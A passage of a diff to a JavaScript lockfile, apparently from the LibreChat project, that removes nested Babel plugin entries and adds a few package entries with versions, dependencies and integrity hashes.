- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-async-to-generator": ["@babel/plugin-transform-async-to-generator@7.27.1", "", { "dependencies": { "@babel/helper-module-imports": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-remap-async-to-generator": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-NREkZsZVJS4xmTr8qzE5y8AfIPqsdQfRuUiLRTEzb7Qii8iFWCyDKaUV2c0rCuh4ljDZ98ALHP/PetiBV2nddA=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-block-scoped-functions": ["@babel/plugin-transform-block-scoped-functions@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-cnqkuOtZLapWYZUYM5rVIdv1nXYuFVIltZ6ZJ7nIj585QsjKM5dhL2Fu/lICXZ1OyIAFc7Qy+bvDAtTXqGrlhg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-block-scoping": ["@babel/plugin-transform-block-scoping@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-45DmULpySVvmq9Pj3X9B+62Xe+DJGov27QravQJU1LLcapR6/10i+gYVAucGGJpHBp5mYxIMK4nDAT/QDLr47g=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-properties": ["@babel/plugin-transform-class-properties@7.27.1", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-D0VcalChDMtuRvJIu3U/fwWjf8ZMykz5iZsg77Nuj821vCKI3zCyRLwRdWbsuJ/uRwZhZ002QtCqIkwC/ZkvbA=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-static-block": ["@babel/plugin-transform-class-static-block@7.28.3", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.28.3", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.12.0" } }, "sha512-LtPXlBbRoc4Njl/oh1CeD/3jC+atytbnf/UqLoqTDcEYGUPj022+rvfkbDYieUrSj3CaV4yHDByPE+T2HwfsJg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-classes": ["@babel/plugin-transform-classes@7.28.4", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-globals": "^7.28.0", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/traverse": "^7.28.4" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-cFOlhIYPBv/iBoc+KS3M6et2XPtbT2HiCRfBXWtfpc9OAyostldxIf9YAYB6ypURBBbx+Qv6nyrLzASfJe+hBA=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-computed-properties": ["@babel/plugin-transform-computed-properties@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/template": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-lj9PGWvMTVksbWiDT2tW68zGS/cyo4AkZ/QTp0sQT0mjPopCmrSkzxeXkznjqBxzDI6TclZhOJbBmbBLjuOZUw=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-destructuring": ["@babel/plugin-transform-destructuring@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Kl9Bc6D0zTUcFUvkNuQh4eGXPKKNDOJQXVyyM4ZAQPMveniJdxi8XMJwLo+xSoW3MIq81bD33lcUe9kZpl0MCw=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-dotall-regex": ["@babel/plugin-transform-dotall-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-gEbkDVGRvjj7+T1ivxrfgygpT7GUd4vmODtYpbs0gZATdkX8/iSnOtZSxiZnsgm1YjTgjI6VKBGSJJevkrclzw=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-duplicate-keys": ["@babel/plugin-transform-duplicate-keys@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-MTyJk98sHvSs+cvZ4nOauwTTG1JeonDjSGvGGUNHreGQns+Mpt6WX/dVzWBHgg+dYZhkC4X+zTDfkTU+Vy9y7Q=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex": ["@babel/plugin-transform-duplicate-named-capturing-groups-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-hkGcueTEzuhB30B3eJCbCYeCaaEQOmQR0AdvzpD4LoN0GXMWzzGSuRrxR2xTnCrvNbVwK9N6/jQ92GSLfiZWoQ=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-dynamic-import": ["@babel/plugin-transform-dynamic-import@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-MHzkWQcEmjzzVW9j2q8LGjwGWpG2mjwaaB0BNQwst3FIjqsg8Ct/mIZlvSPJvfi9y2AC8mi/ktxbFVL9pZ1I4A=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-exponentiation-operator": ["@babel/plugin-transform-exponentiation-operator@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-D4WIMaFtwa2NizOp+dnoFjRez/ClKiC2BqqImwKd1X28nqBtZEyCYJ2ozQrrzlxAFrcrjxo39S6khe9RNDlGzw=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-export-namespace-from": ["@babel/plugin-transform-export-namespace-from@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-tQvHWSZ3/jH2xuq/vZDy0jNn+ZdXJeM8gHvX4lnJmsc3+50yPlWdZXIc5ay+umX+2/tJIqHqiEqcJvxlmIvRvQ=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-for-of": ["@babel/plugin-transform-for-of@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-BfbWFFEJFQzLCQ5N8VocnCtA8J1CLkNTe2Ms2wocj75dd6VpiqS5Z5quTYcUoo4Yq+DN0rtikODccuv7RU81sw=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-function-name": ["@babel/plugin-transform-function-name@7.27.1", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-1bQeydJF9Nr1eBCMMbC+hdwmRlsv5XYOMu03YSWFwNs0HsAmtSxxF1fyuYPqemVldVyFmlCU7w8UE14LupUSZQ=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-json-strings": ["@babel/plugin-transform-json-strings@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-6WVLVJiTjqcQauBhn1LkICsR2H+zm62I3h9faTDKt1qP4jn2o72tSvqMwtGFKGTpojce0gJs+76eZ2uCHRZh0Q=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-literals": ["@babel/plugin-transform-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-0HCFSepIpLTkLcsi86GG3mTUzxV5jpmbv97hTETW3yzrAij8aqlD36toB1D0daVFJM8NK6GvKO0gslVQmm+zZA=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-logical-assignment-operators": ["@babel/plugin-transform-logical-assignment-operators@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-axUuqnUTBuXyHGcJEVVh9pORaN6wC5bYfE7FGzPiaWa3syib9m7g+/IT/4VgCOe2Upef43PHzeAvcrVek6QuuA=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-member-expression-literals": ["@babel/plugin-transform-member-expression-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-hqoBX4dcZ1I33jCSWcXrP+1Ku7kdqXf1oeah7ooKOIiAdKQ+uqftgCFNOSzA5AMS2XIHEYeGFg4cKRCdpxzVOQ=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-modules-amd": ["@babel/plugin-transform-modules-amd@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-iCsytMg/N9/oFq6n+gFTvUYDZQOMK5kEdeYxmxt91fcJGycfxVP9CnrxoliM0oumFERba2i8ZtwRUCMhvP1LnA=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-modules-commonjs": ["@babel/plugin-transform-modules-commonjs@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-OJguuwlTYlN0gBZFRPqwOGNWssZjfIUdS7HMYtN8c1KmwpwHFBwTeFZrg9XZa+DFTitWOW5iTAG7tyCUPsCCyw=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-modules-systemjs": ["@babel/plugin-transform-modules-systemjs@7.28.5", "", { "dependencies": { "@babel/helper-module-transforms": "^7.28.3", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5", "@babel/traverse": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-vn5Jma98LCOeBy/KpeQhXcV2WZgaRUtjwQmjoBuLNlOmkg0fB5pdvYVeWRYI69wWKwK2cD1QbMiUQnoujWvrew=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-modules-umd": ["@babel/plugin-transform-modules-umd@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-iQBE/xC5BV1OxJbp6WG7jq9IWiD+xxlZhLrdwpPkTX3ydmXdvoCpyfJN7acaIBZaOqTfr76pgzqBJflNbeRK+w=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex": ["@babel/plugin-transform-named-capturing-groups-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-SstR5JYy8ddZvD6MhV0tM/j16Qds4mIpJTOd1Yu9J9pJjH93bxHECF7pgtc28XvkzTD6Pxcm/0Z73Hvk7kb3Ng=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-new-target": ["@babel/plugin-transform-new-target@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-f6PiYeqXQ05lYq3TIfIDu/MtliKUbNwkGApPUvyo6+tc7uaR4cPjPe7DFPr15Uyycg2lZU6btZ575CuQoYh7MQ=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-nullish-coalescing-operator": ["@babel/plugin-transform-nullish-coalescing-operator@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-aGZh6xMo6q9vq1JGcw58lZ1Z0+i0xB2x0XaauNIUXd6O1xXc3RwoWEBlsTQrY4KQ9Jf0s5rgD6SiNkaUdJegTA=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-numeric-separator": ["@babel/plugin-transform-numeric-separator@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-fdPKAcujuvEChxDBJ5c+0BTaS6revLV7CJL08e4m3de8qJfNIuCc2nc7XJYOjBoTMJeqSmwXJ0ypE14RCjLwaw=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-object-rest-spread": ["@babel/plugin-transform-object-rest-spread@7.28.4", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "@babel/plugin-transform-destructuring": "^7.28.0", "@babel/plugin-transform-parameters": "^7.27.7", "@babel/traverse": "^7.28.4" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-373KA2HQzKhQCYiRVIRr+3MjpCObqzDlyrM6u4I201wL8Mp2wHf7uB8GhDwis03k2ti8Zr65Zyyqs1xOxUF/Ew=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-object-super": ["@babel/plugin-transform-object-super@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-SFy8S9plRPbIcxlJ8A6mT/CxFdJx/c04JEctz4jf8YZaVS2px34j7NXRrlGlHkN/M2gnpL37ZpGRGVFLd3l8Ng=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-optional-catch-binding": ["@babel/plugin-transform-optional-catch-binding@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-txEAEKzYrHEX4xSZN4kJ+OfKXFVSWKB2ZxM9dpcE3wT7smwkNmXo5ORRlVzMVdJbD+Q8ILTgSD7959uj+3Dm3Q=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-optional-chaining": ["@babel/plugin-transform-optional-chaining@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-N6fut9IZlPnjPwgiQkXNhb+cT8wQKFlJNqcZkWlcTqkcqx6/kU4ynGmLFoa4LViBSirn05YAwk+sQBbPfxtYzQ=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-parameters": ["@babel/plugin-transform-parameters@7.27.7", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-qBkYTYCb76RRxUM6CcZA5KRu8K4SM8ajzVeUgVdMVO9NN9uI/GaVmBg/WKJJGnNokV9SY8FxNOVWGXzqzUidBg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-methods": ["@babel/plugin-transform-private-methods@7.27.1", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-10FVt+X55AjRAYI9BrdISN9/AQWHqldOeZDUoLyif1Kn05a56xVBXb8ZouL8pZ9jem8QpXaOt8TS7RHUIS+GPA=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-property-in-object": ["@babel/plugin-transform-private-property-in-object@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-create-class-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-5J+IhqTi1XPa0DXF83jYOaARrX+41gOewWbkPyjMNRDqgOCqdffGh8L3f/Ek5utaEBZExjSAzcyjmV9SSAWObQ=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-property-literals": ["@babel/plugin-transform-property-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-oThy3BCuCha8kDZ8ZkgOg2exvPYUlprMukKQXI1r1pJ47NCvxfkEy8vK+r/hT9nF0Aa4H1WUPZZjHTFtAhGfmQ=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-regenerator": ["@babel/plugin-transform-regenerator@7.28.4", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-+ZEdQlBoRg9m2NnzvEeLgtvBMO4tkFBw5SQIUgLICgTrumLoU7lr+Oghi6km2PFj+dbUt2u1oby2w3BDO9YQnA=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-regexp-modifiers": ["@babel/plugin-transform-regexp-modifiers@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-TtEciroaiODtXvLZv4rmfMhkCv8jx3wgKpL68PuiPh2M4fvz5jhsA7697N1gMvkvr/JTF13DrFYyEbY9U7cVPA=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-reserved-words": ["@babel/plugin-transform-reserved-words@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-V2ABPHIJX4kC7HegLkYoDpfg9PVmuWy/i6vUM5eGK22bx4YVFD3M5F0QQnWQoDs6AGsUWTVOopBiMFQgHaSkVw=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-shorthand-properties": ["@babel/plugin-transform-shorthand-properties@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-N/wH1vcn4oYawbJ13Y/FxcQrWk63jhfNa7jef0ih7PHSIHX2LB7GWE1rkPrOnka9kwMxb6hMl19p7lidA+EHmQ=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-spread": ["@babel/plugin-transform-spread@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-kpb3HUqaILBJcRFVhFUs6Trdd4mkrzcGXss+6/mxUd273PfbWqSDHRzMT2234gIg2QYfAjvXLSquP1xECSg09Q=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-sticky-regex": ["@babel/plugin-transform-sticky-regex@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-lhInBO5bi/Kowe2/aLdBAawijx+q1pQzicSgnkB6dUPc1+RC8QmJHKf2OjvU+NZWitguJHEaEmbV6VWEouT58g=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-template-literals": ["@babel/plugin-transform-template-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-fBJKiV7F2DxZUkg5EtHKXQdbsbURW3DZKQUWphDum0uRP6eHGGa/He9mc0mypL680pb+e/lDIthRohlv8NCHkg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-typeof-symbol": ["@babel/plugin-transform-typeof-symbol@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-RiSILC+nRJM7FY5srIyc4/fGIwUhyDuuBSdWn4y6yT6gm652DpCHZjIipgn6B7MQ1ITOUnAKWixEUjQRIBIcLw=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-escapes": ["@babel/plugin-transform-unicode-escapes@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Ysg4v6AmF26k9vpfFuTZg8HRfVWzsh1kVfowA23y9j/Gu6dOuahdUVhkLqpObp3JIv27MLSii6noRnuKN8H0Mg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-property-regex": ["@babel/plugin-transform-unicode-property-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-uW20S39PnaTImxp39O5qFlHLS9LJEmANjMG7SxIhap8rCHqu0Ik+tLEPX5DKmHn6CsWQ7j3lix2tFOa5YtL12Q=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-regex": ["@babel/plugin-transform-unicode-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-xvINq24TRojDuyt6JGtHmkVkrfVV3FPT16uytxImLeBZqW3/H52yN+kM1MGuyPkIQxrzKwPHs5U/MP3qKyzkGw=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex": ["@babel/plugin-transform-unicode-sets-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-EtkOujbc4cgvb0mlpQefi4NTPBzhSIevblFevACNLUspmrALgmEBdL/XfnyyITfd8fKBZrZys92zOWcik7j9Tw=="],
-
- "librechat-data-provider/@babel/preset-env/babel-plugin-polyfill-corejs2": ["babel-plugin-polyfill-corejs2@0.4.14", "", { "dependencies": { "@babel/compat-data": "^7.27.7", "@babel/helper-define-polyfill-provider": "^0.6.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-Co2Y9wX854ts6U8gAAPXfn0GmAyctHuK8n0Yhfjd6t30g7yvKjspvvOo9yG+z52PZRgFErt7Ka2pYnXCjLKEpg=="],
-
- "librechat-data-provider/@babel/preset-env/babel-plugin-polyfill-corejs3": ["babel-plugin-polyfill-corejs3@0.13.0", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.6.5", "core-js-compat": "^3.43.0" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-U+GNwMdSFgzVmfhNm8GJUX88AadB3uo9KpJqS3FaqNIPKgySuvMb+bHPsOmmuWyIcuqZj/pzt1RUIUZns4y2+A=="],
-
- "librechat-data-provider/@babel/preset-env/babel-plugin-polyfill-regenerator": ["babel-plugin-polyfill-regenerator@0.6.5", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.6.5" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-ISqQ2frbiNU9vIJkzg7dlPpznPZ4jOiUQ1uSmB0fEHeowtN3COYRsXr/xexn64NpU13P06jc/L5TgiJXOgrbEg=="],
-
- "librechat-data-provider/@babel/preset-env/core-js-compat": ["core-js-compat@3.47.0", "", { "dependencies": { "browserslist": "^4.28.0" } }, "sha512-IGfuznZ/n7Kp9+nypamBhvwdwLsW6KC8IOaURw2doAK5e98AG3acVLdh0woOnEqCfUtS+Vu882JE4k/DAm3ItQ=="],
-
- "librechat-data-provider/@babel/preset-react/@babel/plugin-transform-react-display-name": ["@babel/plugin-transform-react-display-name@7.28.0", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-D6Eujc2zMxKjfa4Zxl4GHMsmhKKZ9VpcqIchJLvwTxad9zWIYulwYItBovpDOoNLISpcZSXoDJ5gaGbQUDqViA=="],
-
- "librechat-data-provider/@babel/preset-react/@babel/plugin-transform-react-jsx": ["@babel/plugin-transform-react-jsx@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-module-imports": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1", "@babel/plugin-syntax-jsx": "^7.27.1", "@babel/types": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-2KH4LWGSrJIkVf5tSiBFYuXDAoWRq2MMwgivCf+93dd0GQi8RXLjKA/0EvRnVV5G0hrHczsquXuD01L8s6dmBw=="],
-
- "librechat-data-provider/@babel/preset-react/@babel/plugin-transform-react-jsx-development": ["@babel/plugin-transform-react-jsx-development@7.27.1", "", { "dependencies": { "@babel/plugin-transform-react-jsx": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-ykDdF5yI4f1WrAolLqeF3hmYU12j9ntLQl/AOG1HAS21jxyg1Q0/J/tpREuYLfatGdGmXp/3yS0ZA76kOlVq9Q=="],
-
- "librechat-data-provider/@babel/preset-react/@babel/plugin-transform-react-pure-annotations": ["@babel/plugin-transform-react-pure-annotations@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-JfuinvDOsD9FVMTHpzA/pBLisxpv1aSf+OIV8lgH3MuWrks19R27e6a6DipIg4aX1Zm9Wpb04p8wljfKrVSnPA=="],
-
- "librechat-data-provider/@babel/preset-typescript/@babel/plugin-transform-modules-commonjs": ["@babel/plugin-transform-modules-commonjs@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-OJguuwlTYlN0gBZFRPqwOGNWssZjfIUdS7HMYtN8c1KmwpwHFBwTeFZrg9XZa+DFTitWOW5iTAG7tyCUPsCCyw=="],
-
- "librechat-data-provider/@babel/preset-typescript/@babel/plugin-transform-typescript": ["@babel/plugin-transform-typescript@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-create-class-features-plugin": "^7.28.5", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/plugin-syntax-typescript": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-x2Qa+v/CuEoX7Dr31iAfr0IhInrVOWZU/2vJMJ00FOR/2nM0BcBEclpaf9sWCDc+v5e9dMrhSH8/atq/kX7+bA=="],
+ "librechat-data-provider/@types/node/undici-types": ["undici-types@6.21.0", "", {}, "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ=="],
"log-update/slice-ansi/ansi-styles": ["ansi-styles@6.2.1", "", {}, "sha512-bN798gFfQX+viw3R7yrGWRqnrN2oRkEkUjjl4JNn4E8GxxbjtG3FbrEIIY3l8/hrwUwIeCZvi4QuOTP4MErVug=="],
@@ -7529,22 +7367,42 @@
"pkg-dir/find-up/locate-path": ["locate-path@5.0.0", "", { "dependencies": { "p-locate": "^4.1.0" } }, "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g=="],
+ "postcss-colormin/browserslist/baseline-browser-mapping": ["baseline-browser-mapping@2.8.28", "", { "bin": "dist/cli.js" }, "sha512-gYjt7OIqdM0PcttNYP2aVrr2G0bMALkBaoehD4BuRGjAOtipg0b6wHg1yNL+s5zSnLZZrGHOw4IrND8CD+3oIQ=="],
+
"postcss-colormin/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="],
+ "postcss-convert-values/browserslist/baseline-browser-mapping": ["baseline-browser-mapping@2.8.28", "", { "bin": "dist/cli.js" }, "sha512-gYjt7OIqdM0PcttNYP2aVrr2G0bMALkBaoehD4BuRGjAOtipg0b6wHg1yNL+s5zSnLZZrGHOw4IrND8CD+3oIQ=="],
+
